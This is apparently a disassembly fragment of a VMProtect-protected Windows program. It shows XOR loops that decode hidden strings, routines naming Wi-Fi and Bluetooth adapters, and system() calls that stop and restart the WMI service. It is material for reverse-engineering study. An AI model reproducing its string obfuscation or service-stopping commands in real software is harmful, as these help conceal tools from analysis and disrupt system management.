mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x20ce], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x20cf], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x20d0], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x20d1], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x20d2], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x20d3], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x20d4], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x20d5], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x20d6], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x20d7], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x20d8], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x20d9], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x20da], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x20db], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x20dc], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x20dd], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x20de], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x20df], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x20e0], al
add r10d, 0x1c
cmp r10d, 0x38
jl 0x1400fbb40
lea rdx, [rsp + 0x20c5]
lea rcx, [rsp + 0x14e8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea998]
vmovups ymmword [rsp + 0x163e], ymm0
mov eax, dword [0x1401ea9b8]
mov dword [rsp + 0x165e], eax
movzx ecx, byte [0x1401ea9bc]
mov byte [rsp + 0x163e], 0x72
xor byte [rsp + 0x163f], 0x37
xor byte [rsp + 0x1640], 0x38
xor byte [rsp + 0x1641], 0x39
xor byte [rsp + 0x1642], 0x3a
xor byte [rsp + 0x1643], 0x3b
xor byte [rsp + 0x1644], 0x3c
xor byte [rsp + 0x1645], 0x3d
xor byte [rsp + 0x1646], 0x3e
xor byte [rsp + 0x1647], 0x3f
xor byte [rsp + 0x1648], 0x40
xor byte [rsp + 0x1649], 0x41
xor byte [rsp + 0x164a], 0x42
xor byte [rsp + 0x164b], 0x43
xor byte [rsp + 0x164c], 0x44
xor byte [rsp + 0x164d], 0x45
xor byte [rsp + 0x164e], 0x46
xor byte [rsp + 0x164f], 0x47
xor byte [rsp + 0x1650], 0x48
xor byte [rsp + 0x1651], 0x49
xor byte [rsp + 0x1652], 0x4a
xor byte [rsp + 0x1653], 0x4b
xor byte [rsp + 0x1654], 0x4c
xor byte [rsp + 0x1655], 0x4d
xor byte [rsp + 0x1656], 0x4e
xor byte [rsp + 0x1657], 0x4f
xor byte [rsp + 0x1658], 0x50
xor byte [rsp + 0x1659], 0x51
xor byte [rsp + 0x165a], 0x52
xor byte [rsp + 0x165b], 0x53
xor byte [rsp + 0x165c], 0x54
xor byte [rsp + 0x165d], 0x55
xor al, 0x56
mov byte [rsp + 0x165e], al
xor byte [rsp + 0x165f], 0x57
xor byte [rsp + 0x1660], 0x58
xor byte [rsp + 0x1661], 0x59
xor cl, 0x5a
mov byte [rsp + 0x1662], cl
lea rdx, [rsp + 0x163e]
lea rcx, [rsp + 0x1508]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
call fcn.140100c80
call fcn.1400fc2d0
call fcn.14010ae80
call fcn.140100da0
mov ecx, 1
call fcn.1401cb054
mov rbx, rax
mov qword [rsp + 0x3c58], rax
test rax, rax
je 0x1400fc1ca
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
jmp 0x1400fc1cc
xor ebx, ebx
mov rcx, rbx
call fcn.1400fcdf0
call fcn.14011a7b0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1528], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x1538], xmm1
mov r8d, 5
lea rdx, str.Wi_Fi
lea rcx, [rsp + 0x1528]
call fcn.14009dee0
nop
lea rcx, [rsp + 0x1528]
call fcn.140108c60
nop
lea rcx, [rsp + 0x1528]
call fcn.14009b5e0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1548], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x1558], xmm1
mov r8d, 9
lea rdx, str.Bluetooth
lea rcx, [rsp + 0x1548]
call fcn.14009dee0
nop
lea rcx, [rsp + 0x1548]
call fcn.140108c60
nop
lea rcx, [rsp + 0x1548]
call fcn.14009b5e0
call fcn.14010e160
lea rcx, str.net_stop_winmgmt__y___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.timeout__t_2__nobreak___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectEnd]
lea r11, [rsp + 0x3c40]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret